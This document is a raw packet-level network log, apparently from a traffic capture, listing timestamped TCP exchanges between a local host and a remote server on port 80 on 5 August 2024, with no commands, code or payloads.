Aug 5, 2024 12:01:02.985749006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.986213923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986226082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986236095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986247063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986258030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986268997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:02.986310959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.986310959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:02.986368895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.326690912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.326724052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.326736927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.326756954 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.326948881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.326960087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.326970100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327006102 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.327045918 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.327390909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327402115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327411890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327423096 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327433109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327465057 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.327482939 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.327856064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327867031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327877998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327888966 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327898979 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.327909946 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.327935934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.328516006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328526974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328532934 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328537941 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328543901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328550100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328555107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.328618050 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.329400063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329411983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329422951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329435110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329444885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329488993 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.329507113 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.329960108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329972029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329983950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.329993963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330004930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330008984 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.330014944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330025911 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330044031 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.330914974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330919981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330923080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330934048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330944061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330955029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330965042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.330970049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.330976963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331001043 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.331051111 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.331870079 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331882000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331892014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331897974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331907988 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331918955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331928968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.331928968 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331928968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.331940889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.331959963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.331984043 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.332812071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332823992 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332834005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332844973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332854986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332865953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332875967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332887888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.332907915 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.332907915 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.332950115 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.333767891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333780050 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333790064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333801031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333811045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333821058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333831072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.333837986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.333837986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.333904028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.334440947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.334453106 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.334462881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.334474087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.334510088 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.334530115 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.669121027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669157982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669173002 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669214964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.669409990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669424057 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669441938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669449091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669456005 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.669517994 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.669830084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669845104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669859886 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669873953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.669874907 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.669935942 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.670341969 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670356989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670372009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670386076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670399904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670413971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670413971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.670413971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.670428991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.670469046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.670469046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.671197891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671212912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671226025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671241045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671251059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.671255112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671271086 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671284914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671298027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.671305895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.671305895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.671370029 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.672085047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672100067 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672115088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672130108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672142982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672148943 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.672157049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672171116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672184944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672219038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.672219038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.672369003 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.672957897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672981977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.672995090 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673008919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673023939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673038006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673042059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673042059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673053026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673068047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673127890 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673127890 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673841953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673856974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673871994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673886061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673899889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673913956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673923016 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673923016 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.673928022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.673968077 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.674701929 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674715996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674729109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674743891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674758911 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674772978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674786091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674801111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.674803019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.674803019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.674832106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.674832106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.675574064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675589085 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675607920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675621986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675637007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675647020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.675647020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.675652027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675667048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675679922 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.675726891 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.675726891 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.676328897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676343918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676357985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676367998 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.676372051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676386118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676399946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676403046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.676414013 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676429033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676429987 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.676443100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676456928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.676459074 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.676497936 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.677115917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.677151918 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.957976103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958652973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958760977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958776951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958874941 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.958887100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958936930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958952904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.958969116 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.959163904 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.959187031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959240913 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.959352970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959367990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959388018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959403038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959413052 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.959417105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959460020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.959918022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959932089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959945917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959959030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959973097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.959985971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960000038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960011959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960011959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960011959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960014105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960027933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960041046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960072041 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960072994 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960885048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960901022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960920095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960933924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960947037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960961103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960973978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960974932 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960988998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.960999012 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.960999012 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961004972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961061954 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961460114 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961646080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961661100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961673975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961687088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961723089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961730957 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961736917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961750984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961765051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961779118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961792946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.961793900 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961793900 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961821079 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.961889029 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.962719917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962734938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962749004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962762117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962775946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962789059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962795019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.962802887 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962806940 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.962816000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962830067 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962835073 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.962845087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.962892056 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.962909937 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.963694096 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963711023 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963723898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963737965 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963752031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963766098 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963782072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963794947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963794947 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.963794947 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.963804960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.963809967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963824987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.963869095 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964067936 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964474916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964497089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964510918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964524031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964538097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964550972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964564085 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964576960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964591026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964592934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964592934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964592934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964605093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964627028 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964642048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:03.964654922 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964654922 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.964755058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:03.965385914 CEST	80	49864	27.221.16.179	192.168.2.7
